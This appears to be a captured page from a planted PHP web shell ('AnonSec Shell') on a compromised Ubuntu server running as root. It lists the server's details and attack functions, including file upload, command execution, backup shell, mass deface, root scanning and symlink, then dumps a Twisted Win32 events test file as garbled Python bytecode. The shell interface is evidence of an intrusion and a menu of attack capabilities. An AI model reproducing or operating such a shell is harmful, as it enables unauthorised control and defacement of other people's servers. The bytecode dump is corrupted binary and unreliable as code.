AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/test_win32events.cpython-310.pyc
o

�bI�@s�dZzddlZWneydZYnwddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZmZGd	d
�d
�ZGdd�de
�Ze��e���dS)
z6
Tests for implementations of L{IReactorWin32Events}.
�N)�verifyObject)�Deferred)�IReactorWin32Events)�ReactorBuilder)�Failure)�getThreadID�isInIOThreadc@sPeZdZdZdZdZZZdd�Zdd�Z	dd	�Z
d
d�Zdd
�Zdd�Z
dS)�Listenera�
    L{Listener} is an object that can be added to a L{IReactorWin32Events}
    reactor to receive callback notification when a Windows event is set.  It
    records what thread its callback is invoked in and fires a Deferred.

    @ivar success: A flag which is set to C{True} when the event callback is
        called.

    @ivar logThreadID: The id of the thread in which the C{logPrefix} method is
        called.

    @ivar eventThreadID: The id of the thread in which the event callback is
        called.

    @ivar connLostThreadID: The id of the thread in which the C{connectionLost}
        method is called.

    @ivar _finished: The L{Deferred} which will be fired when the event callback
        is called.
    FNcCs
||_dS�N)�	_finished)�self�finished�r�H/usr/lib/python3/dist-packages/twisted/internet/test/test_win32events.py�__init__/s
zListener.__init__cCst�|_dS)Nr	)r�logThreadID�rrrr�	logPrefix2szListener.logPrefixcCsd|_t�|_|j�d�dS)NT)�successr�
eventThreadIDr�callbackrrrr�occurred6szListener.occurredcCstd��)NzSome problem)�RuntimeErrorrrrr�brokenOccurred;�zListener.brokenOccurredcCstd�S)NzEntirely different problem)�EnvironmentErrorrrrr�returnValueOccurred>rzListener.returnValueOccurredcCst�|_|j�|�dSr
)r�connLostThreadIDr�errback)r�reasonrrr�connectionLostAszListener.connectionLost)�__name__�
__module__�__qualname__�__doc__rrrrrrrrrr rrrrr	sr	c@sFeZdZdZegZdd�Zdd�Zdd�Zdd	�Z	d
d�Z
dd
�ZdS)�Win32EventsTestsBuilderzD
    Builder defining tests relating to L{IReactorWin32Events}.
    cCs|��}tt|�dS)zn
        An instance of the reactor has all of the methods defined on
        L{IReactorWin32Events}.
        N)�buildReactorrr)r�reactorrrr�test_interfaceMsz&Win32EventsTestsBuilder.test_interfacecs�t�}|���t�dddd�}t�}|��fdd��t|�}��||d���tj	|�|�
��|�|j�|�
||j�|�
||j�dS)z�
        When an event which has been added to the reactor is set, the action
        associated with the event is invoked in the reactor thread.
        NFc����Sr
��stop��ignored�r'rr�<lambda>^�z7Win32EventsTestsBuilder.test_addEvent.<locals>.<lambda>r)rr&�
win32event�CreateEventr�addCallbackr	�addEvent�callWhenRunning�SetEvent�
runReactor�
assertTruer�assertEqualrr)r�reactorThreadID�eventr
�listenerrr.r�
test_addEventUs
z%Win32EventsTestsBuilder.test_addEventcs�g���fdd�}|���t�dddd�}t�}t|�}|�|���||d���tj|�|�	��|�
|j�|�dg��dS)z{
        Using L{IReactorWin32Events.addEvent} does not change which thread is
        reported as the I/O thread.
        cs��t�����dSr
)�appendrr+r,�r'�resultsrr�checknszAWin32EventsTestsBuilder.test_ioThreadDoesNotChange.<locals>.checkNFrT)
r&r1r2rr	r3r4r5r6r7r8rr9)rrAr;r
r<rr?r�test_ioThreadDoesNotChangegs

z2Win32EventsTestsBuilder.test_ioThreadDoesNotChangecs�t�}|���t�dddd�}g}t�}|�|j�|��fdd��t|�}��||d���	tj
|�|���|�|dt
�|d�t�|�||j�|�dt|�t���dS)z�
        If the event handler raises an exception, the event is removed from the
        reactor and the handler's C{connectionLost} method is called in the I/O
        thread and the exception is logged.
        NFcr)r
r*r,r.rrr/�r0zBWin32EventsTestsBuilder.test_disconnectedOnError.<locals>.<lambda>rr�)rr&r1r2r�addBothr>r	r4r5r6r7�assertIsInstancer�traprr9r�len�flushLoggedErrors�rr:r;�resultr
r<rr.r�test_disconnectedOnError}s
z0Win32EventsTestsBuilder.test_disconnectedOnErrorcs�t�}|���t�dddd�}g}t�}|�|j�|��fdd��t|�}��||d���	tj
|�|���|�|dt
�|d�t�|�||j�dS)z�
        If the event handler returns a value, the event is removed from the
        reactor and the handler's C{connectionLost} method is called in the I/O
        thread.
        NFcr)r
r*r,r.rrr/�r0zFWin32EventsTestsBuilder.test_disconnectOnReturnValue.<locals>.<lambda>rr)rr&r1r2rrDr>r	r4r5r6r7rErrFrr9rrIrr.r�test_disconnectOnReturnValue�s
z4Win32EventsTestsBuilder.test_disconnectOnReturnValuecCsZ|��}t�dddd�}t�}t|�}|�||d�|�|j�|�|�|�	|j
�dS)z�
        Event handlers added with L{IReactorWin32Events.addEvent} do not have
        C{connectionLost} called on them if they are still active when the
        reactor shuts down.
        NFr)r&r1r2rr	r4r5r+r7�assertIsNoner)rr'r;r
r<rrr�test_notDisconnectedOnShutdown�s
z6Win32EventsTestsBuilder.test_notDisconnectedOnShutdownN)r!r"r#r$r�requiredInterfacesr(r=rBrKrLrNrrrrr%Fsr%)r$r1�ImportError�zope.interface.verifyr�twisted.internet.deferr�twisted.internet.interfacesr�#twisted.internet.test.reactormixinsr�twisted.python.failurer�twisted.python.threadablerrr	r%�globals�update�makeTestCaseClassesrrrr�<module>s�0z

Anon7 - 2022
AnonSec Team